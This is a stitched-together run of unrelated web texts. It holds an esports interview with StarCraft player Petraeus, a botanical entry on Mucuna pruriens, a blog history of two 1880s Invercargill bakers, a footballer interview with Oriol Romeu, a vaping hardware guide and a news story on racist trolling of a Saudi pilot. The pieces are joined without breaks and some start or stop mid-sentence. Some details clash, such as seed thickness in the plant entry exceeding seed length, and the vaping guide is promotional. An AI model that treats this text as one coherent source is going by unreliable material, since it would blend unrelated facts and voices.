Hey guys, back with another interview, this time with Root Gaming's newest pick up Petraeus.Photo by Kavik, taken from the Root official announcement.A: My name is Mack Smith, more commonly known as Petraeus and I am a professional SC2 player representing ROOT Gaming. I was born in New Zealand and lived there until recently when I moved to California.A: I hope that is not the case! The 'best player in NZ' is not really an achievement in my opinion as the scene is extremely small and I think I'm the only player that competes at a high level in SEA, no offense to any other NZers. In 2012 there were a decent amount of LANs and WCS was huge so that was nice but not really sustainable because of the low player base and lack of interest. So this year we have had nothing and I honestly don't see the scene going anywhere for the next 3-5 years at least. It's sad but that's what happens with something like eSports in a small country like NZ.A: I never really had any issues with high school and Starcraft. I definitely could have done better if I hadn't spent so much time practicing but the more time I spent playing the more I realised school really wasn't important to me and a higher grade wouldn't help me at all. I still managed to pass the three years I spent there with decent grades though. I know there are a lot of university courses that are more time consuming that high school but in my experience overall the two have fairly similar hours. The difference is that you choose to be at uni so you're likely going to put in more time and effort than the bare minimum that many put into high school. I don't really feel there is a lot to gain from high school so for me it was just a place to be until I could make a living off of gaming.A: In 2012 I travelled to Tokyo, Australia and France within a couple of months so I think that was when they realised how serious it was. From then on I put more and more time into the game so when I said I wanted to leave school and go full time my parents weren't really surprised I don't think and were very supportive. I had already explained that I would be looking to move overseas and join an international team so I don't think joining ROOT was a huge surprise either.A: The negotiation process involved CatZ asking me in a ladder game if I wanted to join and move to the team house and me saying yes so that was pretty funny. It was pretty awesome because I had been really wanting to join ROOT already but didn't think I was good enough.A: There is no set practice schedule for anyone in the house so I could pretty much play LoL all day if I wanted to. But being in a team house is really motivating so it’s a lot easier to play games 12 hours a day than it is to when alone at home. It’s also really easy to get advice from other Zerg's in the house. For me playing all day every day works otherwise known as #dedication.A: I don't think that eSports will ever be a viable career path in a region that doesn't have team houses. There is nowhere near enough money in eSports to support large amounts of players on their own so for anyone not at a high international level it’s either a team house or your parent’s house with the latter obviously being more efficient and reliable. I think the Australian scene is nearly at that point but at the moment you have to move overseas in my opinion.A: I am pretty happy with the WCS changes for 2014. With SEA only slots it means I will have a really good shot at getting premier league which is nice obviously.A: For a lot of 2014 I'll be in the ROOT house so my plans are just to practice as hard as I can there and hopefully get some good tournament results while in the US. After my visa expires I'm not sure what will happen so my goal is to continue competing in eSports and living overseas.A: If you're willing to work hard at something and you're passionate about it then you're wasting your life doing anything else.A: Thanks for the interview! Shoutout to my team ROOT Gaming and their sponsors Tt esports, twitch, V3 Gaming PC's and das keyboard.Mucuna pruriens Mucuna pruriens inflorescence Scientific classification Kingdom: Plantae (unranked): Angiosperms (unranked): Eudicots (unranked): Rosids Order: Fabales Family: Fabaceae Subfamily: Faboideae Tribe: Phaseoleae Genus: Mucuna Species: M. pruriens Binomial name Mucuna pruriens
L.) DC. Synonyms[1] Carpogon capitatus Roxb.
Carpogon niveus Roxb.
Carpopogon capitatus Roxb.
Carpopogon niveum Roxb.
Carpopogon pruriens (L.) Roxb.
Dolichos pruriens L.
Macranthus cochinchinensis Lour.
Marcanthus cochinchinense Lour.
Mucuna aterrima (Piper & Tracy) Holland
Mucuna atrocarpa F.P.Metcalf
Mucuna axillaris Baker
Mucuna bernieriana Baill.
Mucuna capitata Wight & Arn.
Mucuna cochinchinense (Lour.) A.Chev.
Mucuna cochinchinensis (Lour.) A.Chev.
Mucuna deeringiana (Bort) Merr.
Mucuna esquirolii H. Lév.
Mucuna esquirolii H.Lev.
Mucuna hassjoo (Piper & Tracy) Mansf.
Mucuna hirsuta Wight & Arn.
Mucuna luzoniensis Merr.
Mucuna lyonii Merr.
Mucuna martinii H.Lev. & Vaniot
Mucuna minima Haines
Mucuna nivea (Roxb.) DC.
Mucuna nivea (Roxb.) Wight & Arn.
Mucuna prurita (L.) Hook.
Mucuna prurita Wight
Mucuna sericophylla Perkins
Mucuna utilis Wight
Mucuna velutina Hassk.
Negretia mitis Blanco
Stizolobium aterrimum Piper & Tracy
Stizolobium capitatum (Roxb.) Kuntze
Stizolobium cochinchinense (Lour.) Burk
Stizolobium deeringianum Bort
Stizolobium hassjoo Piper & Tracy
Stizolobium hirsutum (Wight & Arn.) Kuntze
Stizolobium niveum (Roxb.) Kuntze
Stizolobium pruriens (L.) Medik.
Stizolobium pruritum (Wight) Piper
Stizolobium utile (Wall. ex Wight) Ditmer
Stizolobium velutinum (Hassk.) Piper & Tracy
Mucuna pruriens is a tropical legume native to Africa and tropical Asia and widely naturalized and cultivated.[2] Its English common names include velvet bean, Bengal velvet bean, Florida velvet bean, Mauritius velvet bean, Yokohama velvet bean, cowage, cowitch, lacuna bean, and Lyon bean.[2] The plant is notorious for the extreme itchiness it produces on contact,[3] particularly with the young foliage and the seed pods. It has agricultural and horticultural value and is used in herbalism.
Description [ edit ]
Mucuna pruriens flowers (colored flowers (colored engraving
The plant is an annual climbing shrub with long vines that can reach over 15 metres (50 ft) in length. When the plant is young, it is almost completely covered with fuzzy hairs, but when older, it is almost completely free of hairs. The leaves are tripinnate, ovate, reverse ovate, rhombus-shaped or widely ovate. The sides of the leaves are often heavily grooved and the tips are pointy. In young M. pruriens plants, both sides of the leaves have hairs. The stems of the leaflets are two to three millimeters long (approximately one tenth of an inch). Additional adjacent leaves are present and are about 5 millimetres (0.2 in) long.
The flower heads take the form of axially arrayed panicles. They are 15–32 centimetres (6–13 in) long and have two or three, or many flowers. The accompanying leaves are about 12.5 millimetres (0.5 in) long, the flower stand axes are from 2.5–5 millimetres (0.1–0.2 in). The bell is 7.5–9 millimetres (0.3–0.4 in) long and silky. The sepals are longer or of the same length as the shuttles. The crown is purplish or white. The flag is 1.5 millimetres (0.06 in) long. The wings are 2.5–3.8 centimetres (1.0–1.5 in) long.
In the fruit-ripening stage, a 4–13 centimetres (2–5 in) long, 1–2 centimetres (0.4–0.8 in) wide, unwinged, leguminous fruit develops. There is a ridge along the length of the fruit. The husk is very hairy and carries up to seven seeds. The seeds are flattened uniform ellipsoids, 1–1.9 centimetres (0.4–0.7 in) long,.8–1.3 centimetres (0.3–0.5 in) wide and 4–6.5 centimetres (2–3 in) thick. The hilum, the base of the funiculus (connection between placenta and plant seeds) is a surrounded by a significant arillus (fleshy seed shell).
M.pruriens bears white, lavender, or purple flowers. Its seed pods are about 10 cm (4 inches) long[4] and are covered in loose, orange hairs that cause a severe itch if they come in contact with skin. The itch is caused by a protein known as mucunain.[5] The seeds are shiny black or brown drift seeds.
The dry weight of the seeds is 55–85 grams (2–3 oz)/100 seeds.[6]
Uses [ edit ]
Mucuna pruriens seeds of two different colors seeds of two different colors
Mucuna pruriens seed pod seed pod
In many parts of the world Mucuna pruriens is used as an important forage, fallow and green manure crop.[7] Since the plant is a legume, it fixes nitrogen and fertilizes soil. In Indonesia, particularly Java, the beans are eaten and widely known as 'Benguk'. The beans can also be fermented to form a food similar to tempe and known as Benguk tempe or 'tempe Benguk'.
M. pruriens is a widespread fodder plant in the tropics. To that end, the whole plant is fed to animals as silage, dried hay or dried seeds. M. pruriens silage contains 11-23% crude protein, 35-40% crude fiber, and the dried beans 20-35% crude protein. It also has use in the countries of Benin and Vietnam as a biological control for problematic Imperata cylindrica grass.[7] M. pruriens is said to not be invasive outside its cultivated area.[7] However, the plant is invasive within conservation areas of South Florida, where it frequently invades disturbed land and rockland hammock edge habitats. M. pruriens is sometimes used as a coffee substitute. Cooked fresh shoots or beans can also be eaten. The plant contains relatively high (3–7% dry weight) levels of L-DOPA; some people are sensitive to L-DOPA and may experience nausea, vomiting, cramping, arrhythmias, and hypotension. Up to 99% of the L-DOPA can be leached out of M. pruriens by repeated soaking in boiling water and then cold water. Acidic water significantly increases the rate at which L-DOPA is leached out. Pre-boiling also contributes to better decomposition of anti-nutrients found in M. pruriens through cooking.[8]
Traditional medicine [ edit ]
The seeds of Mucuna pruriens have been used for treating many dysfunctions in Tibb-e-Unani (Unani Medicine).[9] It is also
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hand in fanning the flame? Once this clicked I became even more curious as to whether this was just some sort of elaborate publicity gig between the two of them.
Actually, at no point during my researches have I found a mention that Gallacher used the Excelsior name once for anything. I have no reason to doubt that he did otherwise Booth would not have written the letter in the first place. Or was it all a beat-up?
Booth ran the exact same standard ad as this one for his Excelsior factory a couple of hundred times through 1880 and 1881, with no variation. So what happened before and after his apparently short stint? I was curious about the two fellows involved and their history, and it looked at first like I was going to get nothing on either of them. Then like always there’s a small chink, you wedge open the door that appears – and it’s like a torrent of badly stacked papers in an over-stuffed cupboard, that have had the door forced closed on them – when you open it, everything falls out on your head and onto the floor in a mess.
So J.C. Booth was James Charles, known as Charles or Charlie. He was born in the small village of West Hythe, on the edge of Romney Marsh, England in 1852. In 1871 there is the first record of him working as a bakers assistant (officially, a servant) for Thomas Gee in Dover Pier, Dover (now simply known as The Pier, it was not at the sea but some way inland).
James Charles Booth, baker, 1852-1917.
a
He also spent some time residing in St Mary just east of Romney as a baker’s assistant. He obviously undertook this for a number of years in order to gain the experience needed to later strike out on his own. However between then and leaving the country, there’s record of him working as an agricultural labourer (probably because being a servant “officially”, was also officially a shitty job). Perhaps he wanted experience in cultivating and processing grains which would have been a bonus in knowledge. Likely he remained in Kent during this period. In early 1874 Booth left from The Downs, on the Kent Coast on the Wennington, and arrived to Wellington in April. He immediately found work as a baker in Invercargill. Wasting no time he married Mary Hinson Wright (1854-1925) before the year was out at the Wesleyan Church there. In 1882 Booth took part in the international exhibition of Christchurch with a display of wares. Along with Aulsebrook’s they were described as “… colonial manufacturers of this class of goods (who) seem to hold their own against outside competition”, high praise in the days when the country was only just beginning to break away from importing just about everything – and all goods from “home” were seen as superior, no matter what the quality in comparison.
Glasgow Pie House opens, Southland Times, 11 August 1881.
a
The following year he left Invercargill leaving his debtors to pay a certain John Hare. most of his children with Mary were born before moving on to the North Island; Alice Mary 1876, Eliza Jane 1877, James Charles Jr. 1879, William Stephen 1881, and Florence Louise 1883. Three more offspring followed the relocation – Ruby Ellen Jane 1885, Cecil Frank 1887, and Omega in 1889. None of the eight births appear to be registered. Before the end of 1883 he was working as a mill hand and baker at Nicholson’s Mill, Northland. Not long after he listed his occupation as “farm owner” of Kent Farm, in Booth Road, Kaipara. And here he stayed working as a dairy farmer except for a trip to Britain (London and Kent) and Australia (Brisbane) in 1894. He was done in by a stroke and buried Port Albert Public Cemetery in Northland, aged 65 years. So that’s him.
A. F. Gallacher had a much more tumultuous time (mostly his own doing I think). Andrew Francis Gallacher, baker and confectioner, was born 1844 in Greenock, Renfrewshire, Scotland. I do not know when he immigrated; but a list of unclaimed letters in the Otago Daily Times, notes one for an Andrew S. Gallacher in June 1864 (a mistake I think), and then again in April 1865 for Andrew Gallacher. Nor do I know much of his career before he comes to our attention – however I probably still have more details of his life of pie than the former party. He married Jessie Fraser in New Zealand in 1871 and had the following children with her; William John Gallacher born Dunedin in 1872, Samuel Joseph 1879, James Ernest 1880, Margaret Elizabeth Anne 1873, Jessie Henrietta 1874, and Catherine 1875.
In 1875 the first mention of his business is the opening of the Gallacher & Co’s “Inverness Bread and Biscuit Manufactory” in Dee Street opposite Yarrow, Invercargill, with a J.A. Frederic as partner, a “commodious premises” with dining rooms for coffee and pies.
Opportunity and talent: Gallacher catering for local events March 1881, Southland Times; and showing off his decorating skills in the Southland Times, 9 March 1882.
a
They offered the Dee Street leasehold for sale at auction, not long after a new bakehouse had just been erected. Together they went bankrupt in 1876 – Gallacher was discharged in 1877. By this year Gallacher and his wife are living at Leven Street, Invercargill when a son is born, and by 1878 the couple are living in Spey Street, Invercargill when a daughter is born – neither are registered, yet the other five children were – indicating that they both died soon after childbirth.
By around 1878 Gallacher had re-opened a business “Glasgow Pie House” in partnership with Andrew Anderson, which was situated one away from the corner of Esk Street and the West side of Dee Street, next to Sloan’s Theatre (none of these buildings stand today). The premises again had separate bakery ovens.
In July 1879 he parted ways with Anderson officially, and the business was split with Gallacher retaining the pastry and confection business and premises while Anderson, specialising in bread, kept that part for a time. So it was a financial, rather than physical, separation. By 1882 he was running pastry, jam, confectionery and refreshment lines as well as catering for events like the One Tree Point Station Races. In the middle of June 1882 had purchased the Railway Refreshment Rooms and opened a branch of his business there.
The Glasgow Pie House on the west side of Dee Street, looking north from Esk Street. Image courtesy of Kete Christchurch, Ref LC 993.185 EAR.
a
In December 1882 Gallacher offered Glasgow Pie House for sale, to concentrate on wholesale endeavours, according to his statement. The advert insists the business is going well, and quite established with a roaring trade. Although he is asking for tenders, It makes it clear he is selling the premises and the business but not the fitting out and equipment.
An ad of January 1883 is seeking quantities of fruit for the “Invercargill Biscuit, Confectionery and Jam Factory“, and specifies a premises now in Tweed Street owned by Gallacher and a Jason Gilmour. Tweed street of course was where J C Booth’s set-up the “Excelsior Steam Biscuit Factory” was located. I have to wonder if they bought it from him when he left Invercargill in 1882, it’s quite likely.
Loudmouth strikes again: at least he apologised, I guess. Southland Times, 19 May, 1882.
a
By the middle of February 1883 Gallacher had apparently moved on from the Glasgow Pie House, selling up to an S. Langford (a presumably later photo shows R Johnson’s name emblazoned on the building, likely after Jessie Gallacher sold the business post her husband’s death). In March 1883 he filed for bankruptcy for a second time. At a meeting of creditors his ownership of a house in Winton is mentioned – although I suspect the family may have lived above the shop for at least a couple of years during financially strained times.
One of a legion of notices to appear in the papers pertaining to Gallacher’s legal woes. Southland Times, 13 October, 1883.
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At a March 8 meeting of the creditors that was reported in the papers in an article entitled “A Reckless Trader”, “…it was brought out that he had but a very imperfect idea of his business at any time. The biscuit factory, had been losing at the rate of £6 -10 per week. The creditors expressed the opinion that the debtor was totally unfit to carry on a business, and hoped that the case would act as another warning to the people to be cautious as to whom they gave credit. One creditor signified his intention of proposing when the proper time arrives that the trustees represent the matter clearly before the Court, with the view of getting a punishment inflicted upon the debtor for the loose manner in which he had carried on his business.”
Ouch, but I think we kind of get the idea of what kind of person he was as far as business practices – all over the place and somewhat irresponsible. Further to that, in June 1882 he had been back in the Resident Magistrate’s Court charging an apprentice, an A. Rogers, of desertion. In response, Rogers testified that complainant had failed to supply his contract, that as a minor his mother never signed one, and that he did not get proper shelter with the roof leaking on to his bed. Gallacher scoffed that a nail hole in the roof was causing the issue but the amount of water that came through it was “very trifling”. The judge discharged Rogers and advised him to complete his apprenticeship. Whether he did I don’t know, but any amount of rain on your bed is just not cool.
Glasgow Pie House shown next to the corner of Dee and Esk Streets. I was really surprised to find not one but two images of this obscure business. Year unknown, but note the name above the door is now R. Johnson. I’m guessing first half of the 1890s. Image courtesy of Kete Christchurch, Ref LC 993.185 EAR.
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In November 1885 his wife Jessie announced a move back to the Glasgow Pie House in Dee Street. She apparently had a shop elsewhere that she was running, as well as the Railway Refreshment Rooms (who knows what happened to that). I suspect it was all in her name due to her husband’s history of legal troubles. In December it was advertised as re-opened – “The real old shop, a good dinner every day for one shilling, in the old Premises” yet, again advertised in name under A. F. Gallacher. I’m at this point confused how someone who has gone bankrupt twice and actually sold the lease once and the business twice still owns the business and in the same premises no less. Who knows what actually happened amongst all of these goings-on. The paper often only gives you the fragments (that’s assuming one finds all of them) and – If you’re not on the spot, it’s too hard to figure out how it played.
Gallacher’s earlier endeavour also ended in financial disaster. Southland Times, 29 December, 1875.
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Gallacher continued with the business through 1886, receiving permission from the local council to erect a sign for his business on the opposite side of the street. He passed away in 1887 at 43 years old and was buried at St. Johns Cemetery, Invercargill. They were still living in Dee Street at this time. A couple of years after his demise his wife Jessie bogarted on the Pianoforte teacher’s fees for the lessons of her two of her daughters, even though in the middle of 1887 she had collected £300 on her husband’s life insurance policy from Mutual Life Australasia. In November 1889 it was settled in the plaintiff’s favour by default as she did not turn up to court for the hearing. She later moved to Christchurch, sometime before 1896, where she saw out her “twilight” years and died in 1900 at 51 years old, residing at 33 Worcester Street.
Just saying – they sound a bit dodgy really. I wouldn’t be surprised if J. C. Booth had good reason for his accusation after all.
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All content of Longwhitekid copyright Darian Zam © 2013. All rights reserved.
AdvertisementsORIOL Romeu has finally found at Saints what he's "always been fighting for" and is in no hurry to walk the well trodden path out of St Mary's – despite talks of a return to his beloved Barcelona.
The 25-year-old says he "feels respected" at Saints and is just eager to repay the "love" shown to him on the south coast having finally, for the first time in his career, become an integral player.
"It’s something very nice, of course, I had been there for many years and know the level of players," he said, referring to talk of a Nou Camp comeback.
"Being linked with the club is always something nice but, luckily, I’ve been at Chelsea and Barcelona and haven’t played and I don’t want to be there again and I don’t want to have this feeling [of not playing].
"I’m feeling very happy here [at Saints] and I won’t give this away.
"The club has given me a massive welcome since the beginning, signing a new contract in January, and this support and confidence they have given me is something that no one has done before.
"I feel very pleased for that and I wouldn’t say I’ve just stopped here, I’m very pleased with what they’ve done for me and I just want to give this love back."
Romeu previously played for Chelsea and the Spanish giants Barca - as well as Stuttgart and Valencia on loan, but never found himself a key player.
But under Claude Puel at Saints this season, the Catalan, who was bought from Chelsea for a bargain £5m in August 2015, has become a lynchpin at the base of Saints' midfield and has found a sense of belonging.
"I feel respected," he said. "If team-mates have problems sometimes they come and ask me.
"I’m an important part of the dressing room, which in the way you play gives you that respect.
"It’s something very nice and something I’ve always been looking for and now that I have it I’m really enjoying it."
Romeu had to compete with Victor Wanyama to be Saints' first choice defensive midfielder last season but, after the Kenyan's departure to Tottenham last summer, he became the undisputed incumbent of that shielding position.
As a result Romeu has made more appearances this season (37) than any other previously in his career.
"I’m not surprised," he says. "It is something I haven’t done before so maybe a surprise for someone else, but I’ve always been fighting for this and I’ve always been looking for this kind of season.
"It’s been very good, having games is something I needed and wanted and coming here has given me this.
"It’s been fantastic."
So is this the most settled he's felt during his career?
"Probably, yes, I’ve had some good moments but they were not that long or maybe that good," he said. "Now it’s been six or seven months feeling very good physically, mentally, everything.
"That’s made me very happy and I have good feelings that, as a player, I don’t want to lose and want to make it last as long as possible.
"It’s great to have this feeling and hopefully it won’t go away."
While other players have left Saints for pasture new in search of big money and Champions League football, Romeu has a slightly different take on life as a professional footballer.
That is a result of his formative years when, often, he had to feed off scraps of game time at Barca and Stamford Bridge.
"Sometimes it’s hard because you won’t playing for the next two or three months, but you need to look at yourself and just keep going," he said.
"There are moments in a football career, in everyone’s life there are ups and downs, but you always need to learn from those hard moments and keep yourself motivated or looking for some different objectives.
"Perhaps you won’t be playing next week, but you can get just physically ready as you can for the next season or the next chance the coach can give you."
Romeu admits that this season has been a learning curve after becoming an important player for Saints, and revealed that boss Puel has helped him along the way.
"He’s helped me a lot in terms of confidence and giving me this value to the team," he said. "That’s something I’m very pleased with and he’s helped me tactically with points to improve.
"He’s always trying to tell me we need to keep this structure, sometimes in this league and football teams just lose shape and it’s hard to get back.
"In my position it’s very important to be always in the right place and to keep our team organised."Clearomizer vs Cartomizer vs Atomizer: The Real Difference
Vaping technology is moving INSANELY fast right, with not just new devices, but brand new technologies. A LOT has happened in the past year, and it really is a lot to wrap your head around when starting out.
Even if you are a seasoned veteran on the vaping scene it can be hard to keep tabs on all the newest products; best box mods, best e juice, best clearomizers, and so on! This all seems like a whirlwind to new vapers, which can definitely make quitting cigarettes a lot more difficult.
One of the biggest challenges a new vaper encounters is trying to learn what the differences are between an atomizer, clearomizer and cartomizer. Slang and lingo is tossed around so much in the vaping community that it is sometimes hard wrap your head around it all and build a solid understanding. Clearomizer, cartomizer, atomizer, RDA, RBA, RTBA; how do you even begin to start?!
Unfortunately, all of this may lead to confusion to somebody new to the vaping/e cig scene. That confusion can make it more difficult to take the plunge and quite smoking and start vaping. We want to make sure everyone can get past this first step!
Finally kicking those cigs has all kind of benefits (as I’m sure you know!). Not only will you feel it in your lungs, but in your wallet as well. You can save a stupid amount of money by switching to e cigs. Check out how much you can exactly save with this Savings Calculator!
Whether you are vaping a monster 50 Watt mech mod and sub ohming the hell out some RDA’s, or using disposable e cig models with separate cartridges, you will a long term cost savings compared to traditional cigs. It’s no question, when it comes to electronic cigarettes vs cigarettes, e cigs win!
To help those who are trying to understand these essential components of vaping, we have put together the definitive guide to learning the differences. Let’s discover the the real differences between clearomizers, cartomizers and atomizers!
Overview
There are two main components that every e cig or Advanced Personal Vaporizer (APV for short) have, the battery and the atomizer. In the simplest terms, the atomizer draws power from the battery which it uses to turn the e liquid into vapor. The differences, and the reason for this article, is that there are multiple different ways to deliver the e liquid to the atomizer.
Direct dripping on the atomizer, clearomizers and cartomizers all achieve the same goal of delivering e liquid to the atomizer, but each have their own set of pros and cons. Let’s dive right in!
What is an Atomizer
There many different kinds of atomizers, but in general they consist of a small heating coil and a wicking material that soaks up the e liquid and funnels it into a coil. The coil is generally a short piece of resistance wire that is coiled or wrapped around the small wick or wicking material. The atomizer is then connected to the negative and positive poles of the APV battery, which the coil uses to create the vapor once the e juice from the wicking material reaches it.
On top of the coil/wick is a mesh bridge, which helps regulate the amount of e liquid that reaches the wick, and subsequently the coil.
Direct Dripping
As I mentioned earlier, every e cig or APV uses an atomizer of some sort to vaporize the e liquid, but they can differ on how they deliver the e liquid to the coil. RBA’s, or rebuildable atomizers, are often used for the first method we will cover, which is dripping.
While cartomizers and clearomizers hold several milliliters of e juice at a time, the direct dripping method workings by dripping just 3-5 drops of e liquid directly onto the atomizer at a time. It is a more traditional method that has been used for years, and many experience vapers will swear by it. But as with anything else, there are a set of pros and cons related to direct dripping, so let’s take a look:
Top 4 Pros Of the Dripping Method: A strong vapor production
A stronger throat hit
Not much burnt taste if vaped correctly
Solid, consistent hit and flavor Top 4 Cons Of the Dripping Method: Can get messy
You have to refill it more often
Must always carry e liquid on you
If you fill it with too much e liquid the atomizer can get flooded
Direct Atomizer Dripping Thoughts
As you can see, there are definitely benefits and drawbacks to dripping. The biggest pro for dripping is that it has some of then cleanest, smoothest vapor production of any vaping method.
It also has good vapor cloud production as well. Vapers who enjoy great tasting vape, with good vapor production and a strong throat hit should definitely try out dripping. Most of the cons can be avoided with a little bit of practice and patience.
Make sure you find out how many drops you should use for your particular atomizer (it can range from 3-12), and only use that many when refilling.
When vaping, keep a mental count of how many hits you have taken so you know when it’s time to refill to avoid any burning taste. If you follow these tips, dripping is a very enjoyable vape.
If you are interested in trying direct dripping for yourself, I recommend you check out the VaporFi Bolt RDA from VaporFi. It’s a great rebuildable atomizer that is built like a tank!
Wanna save some money too? We have a VaporFi coupon code page to help with that.
If you want to learn more about dripping, check out this great direct dripping guide. It offers great info and some more atomizer recommendations.
Even with all the great benefits of dripping, it is often difficult to do if you are out of the house. You always have to a bottle of e juice on you, and trying to refill your atty while driving is never a fun time. The solution: tank systems! There are two main types of tank systems, clearomizers and cartomizers.
Both of them use atomizers to vaporizer the e liquid, both have different methods of containing and delivering the juice. We’ll cover the important differences between the two types.
What is a Cartomizer
There are a lot of different aspects to consider when choosing a clearomizer vs cartomizer for your APV. While clearomizers are similar to cartomizers on a fundamental level, these small contrasts can make a big difference in your vaping experience. Let’s start by covering what a cartomizer is.
A portmanteau is a word whose form and meaning are derived from a blending of two other words. Cartomizer is a portmanteau of the words cartridge and atomizer, and for good reason. A cartomizer works by using a tank system that is filled with a polyfill material.
When somebody refers to a cartomizer, they are likely referring to one of two devices. Either the ‘vaping’ cartomizer such as the VaporFi AIR Cartomizer, or an analog style cartomizer such as those found in the South Beach Smoke Deluxe E Cig Starter Kit. Both styles work fundamentally the same, they are just designed to be used with different types of batteries/devices. There are a couple of different types of coil/wicking setups a cartomizer can have.
Some cartos use horizontal coils, which internally are the most similar to direct dripping. The horizontal coil runs across a center air path in the middle of the cartomizer. The coil is wrapped around a wick (wicks are made with several different types of material). The wick funnels juices from the filler material, so the coil doesn’t have to touch the filler material in the tank directly like it does inside a vertical coil cartomizer.
This helps reduce the chance you will have a burnt taste when your juice starts running low. The most common type of cartomizer is a vertical coil. Vertical coils uses a coil that runs up and down, instead of side to side like on the horizontal coil cartomizers or atomizer dripping heads.
There isn’t a wick, instead the filler material surrounds the the coil and directly supplies juice without the use of a wick. When you take a hit, the airflow will be drawn through the middle of the coil, instead along the outside of the coil as it does with horizontal cartos. Since the filler material touches the coil directly, you are prone to tasting a burnt flavor when the e juice starts to run out.
They both have their pros and cons. Some people feel they get better flavor from horizontal coil cartomizers, however sometimes horizontal coils do not work as well as vertical coil cartos when using higher voltages since they have thinner wicks. Thinner wicks have a hard time supplying enough juice to the coil, and vaping at higher voltages will burn through e liquid faster.
Some cartomizers come as both refillable and non refillable, although most ‘vaping style’ non refillable cartos can still be refilled with a little bit of effort. You must ensure you clean out your cartomizer and filling occasionally if you want to extend the life of it. If you don’t, you may start to experience flavor ghosting, which is when you taste the previous flavor you vaped after switching e juices. Ghosting makes it difficult to enjoy the pure, clean flavor of your e juice.
Next, let’s take a look at what a clearomizer is and how it is different from a cartomizer.
What is a Clearomizer
As you may have guessed, one of the features of a clearomizer is that it is in fact clear. They have tanks that hold e juice, which feed a wick into the atomizer head on the device. Unlike cartomizers, they do not have any poly-fil material inside the tank. This makes it a little easier to get the clean, natural flavors of your e liquids. It also reduces the chances you will get that burnt flavor when your e liquid runs low, since you won’t start burning the filler material.
Clearomizers are generally easy to refill, and can have a larger capacity. Some clearos, like the Kanger Aerotank Mega, can hold up to 3.8 mL of e juice! It’s awesome to have the large capacity for the times when you’re busy, but still want to vape a lot with out refilling often. Many clearomizers also come with replaceable atomizer heads, which can greatly extend it’s life.
As you vape your clearomizer, the atomizer coil will start to corrode which increases its resistance. This increased resistance and corrosion will eventually lead to decreased vapor production and flavor. With replaceable heads, you can just pop out the old one and slap in a new atomizer head. Just like that your clearomizer is as good as new!
New atomizer heads are pretty cheap, so it makes clearomizers an efficient way to vape. You can even go one step further and rebuild the actual coil and wick system on the atomizer. This is even cheaper than replacing the whole atomizer heads. It requires a bit of patience and practice to learn, but once mastered you’ll be happy you did.
It is insanely cheap, and you can build your coils and wicks exactly the way you want, optimizing your vaping experience. For example, you can easily have many coils with different resistances, giving you more options when vaping. It also adds a level of convenience in that if you even run out of atty heads, you don’t have to worry about buying new ones online and wait for them to ship. You can just bust out your supply of coil and wick and wrapped yourself one right away.
Want to Rebuild Your Own Atomizer Coils?
Learning how to rebuild coils has tons of benefits (plus it’s pretty fun!), so we have put together a Free Resource Guide:
Of course, many people are completely content just buying the replaceable atomizer heads and don’t bother with making their own coils. It’s still really cheap and a great way to vape.
Another option to consider when buying a clearomizer is whether you want a bottom or top coil setup. A bottom coil has it’s coil placed near the battery end of the clearomizer, while a top coil is mounted near the mouthpiece. There are several pros and cons of each type which we cover below:
Top Coil Clearomizer
Pros
Produces warmer vapor since the coil is closer the the mouthpiece
Refillable from the top
Less likely to leak
Cons
Can have poor wicking
Frequently dry hits
Must be swirled and title occasionally to keep the wicks moist
Flavor production can suffer
Bottom Coil Clearomizer
Pros
Consistent wicking
Great vapor production
Cooler vapor
Cons
May sometimes hiss and gurgle
May develop leaks is it isn’t tightened together well or too little wick is used
Filling from the bottom requires a little more effort than top refillable clearos.
Wicks may need adjustments occasionally
Dual and Single Coil Clearomizers
If that wasn’t enough, clearomizers can also come with single or dual coils.
A dual coil clearomizer will produce more vapor than a single coil clearomizer with less of a hit and they tend have a greater throat hit due to the increased vapor production. The vapor will tend to be cooler though, since the two dual coils will heat up less than a single coil clearo.
Dual coils also tend to drain the battery faster than a single coil, and sometimes give off dry hits. Since more e liquid is being vaporize in a dual coil setup, it’s important to give the wicks time to catch up and get juice to the coils occasionally.
On the other hand, single coils don’t drain batteries as fast and will have less of a throat hit. Both will work perfectly well, and it really comes down to the quality of clearomizer and your personal preferences.
There a lot of different options when it comes to choosing a clearomizer. A great eGo thread clearomizer I would recommend is the Kanger EVOD 2. It’s a great clearo that has made some notable improvements over the original EVOD, including a new dual coil design! We also have Kanger EVOD 2 review if you are interested in more information.
For those looking for a more advanced clearomizer, I would highly suggest you check out the Aspire Nautilus. It has everything you look for put into a well built package; replaceable (and rebuildable) atomizer coils, large capacity, dual coil design and adjustable airflow ring. Our Aspire Nautilus review covers all this and more in great detail.
And don’t forget about our clearomizer chart! It’s a great way to compare some of the top clearomizers on the market and find the one that fits your setup. If you are looking for information on a particular model, our clearomizer reviews has an archive of all of our reviews.
Hopefully this post was helpful and helped clear up some of the confusion between atomizers, clearomizers and cartomizers. If you enjoyed the post, please take a moment and share it with your friends or community. I’d love to hear your thoughts in the comments below!
Thanks for reading. Until next time, vape on!Image copyright Nawal al-Hawsawi
Nawal al-Hawsawi is outspoken, black, a qualified pilot and married to a white man - everything her critics say a Saudi woman shouldn't be.
But despite receiving waves of abuse on social media, she refuses to bow to convention and hits back at her detractors "with love".
Al-Hawsawi has become something of a star on social media. She has amassed almost 50,000 followers on Twitter, where she posts about the importance of racial diversity and marriage equality. But not everyone reading her feed is a fan.
The deluge of racist abuse that came at the end of December was just the latest flurry in a long campaign. The trolls have had al-Hawsawi in their sights for years. They send her pictures of gorillas, grotesquely photoshopped African tribespeople, and they call her the A word - a derogatory Arabic term for black people which means "slave", not dissimilar in meaning to the N word.
Growing up in Mecca, a fairly cosmopolitan part of Saudi Arabia, al-Hawsawi says until she travelled to the US she hadn't consciously thought of herself as "black".
While she was there she learnt to fly and is now a certified pilot - though one who has yet to be allowed to take to the skies in her homeland. She also studied to become a marriage therapist, which is what she does now. She married a white man - an American - and returned to Saudi Arabia around a few years ago, which is when the trouble began.
Confronting abuse
At an event celebrating Saudi's National Day in 2013, she was verbally attacked by another woman who called her the A word. Racism is a criminal offence in the country and she took the woman to court. But after talking to her abuser, she received an apology and dropped the case, and says that the pair are now good friends.
The story made national headlines in the country, and al-Hawsawi appeared on television to talk about what had happened. The media dubbed her the "Rosa Parks" of Saudi Arabia - a reference to the iconic US Civil Rights protester. She used her newfound platform to launch an anti-racist campaign on Twitter, using the A word to raise awareness of the issue.
But the story doesn't end there. Because of the attention she received, her Twitter account - which al-Hawsawi uses to post messages about combating racism and domestic violence - became the focus of attention for trolls, who used it to mount a campaign of hate against her. Now her skin colour, gender, outspoken nature and interracial marriage are all sources of anger for the trolls, who she believes are mostly far-right conservatives based in Saudi Arabia.
